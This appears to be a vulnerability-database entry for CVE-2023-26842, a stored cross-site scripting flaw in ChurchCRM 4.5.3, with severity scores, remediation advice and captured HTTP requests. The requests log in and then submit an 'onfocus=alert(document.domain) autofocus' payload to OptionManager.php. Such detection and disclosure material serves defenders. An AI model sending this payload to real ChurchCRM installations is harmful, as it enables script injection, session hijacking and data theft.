| Title | ChurchCRM 4.5.3 - Cross-Site Scripting |
|---|---|
| Author | Harsh |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Upgrade to a patched version of ChurchCRM or apply the necessary security patches to mitigate the XSS vulnerability. |
| CVSS Score | 5.4 |
| EPSS Score | 0.17468 |
| CVE ID | CVE-2023-26842 |
| CWE ID | CWE-79 |
| Tags | cve2023 cve churchcrm stored-xss xss authenticated vuln |
A stored Cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the OptionManager.php.
POST /session/begin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/603.1.10 (KHTML, like Gecko) Version/10.1 Safari/603.1.10
Connection: close
Content-Length: 27
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
User=geUoh5&Password=VJH7qi
POST /OptionManager.php?mode=classes&ListID=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Connection: close
Content-Length: 194
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
1name=Member&2name=Regular+Attender&3name=Guest&4name=Non-Attender&5name=Non-Attender+%28staff%29&newFieldName=" onfocus=alert(document.domain) autofocus="&AddField=Add+New+Person+Classification
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-26842.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-26842.pcap
N/AN/A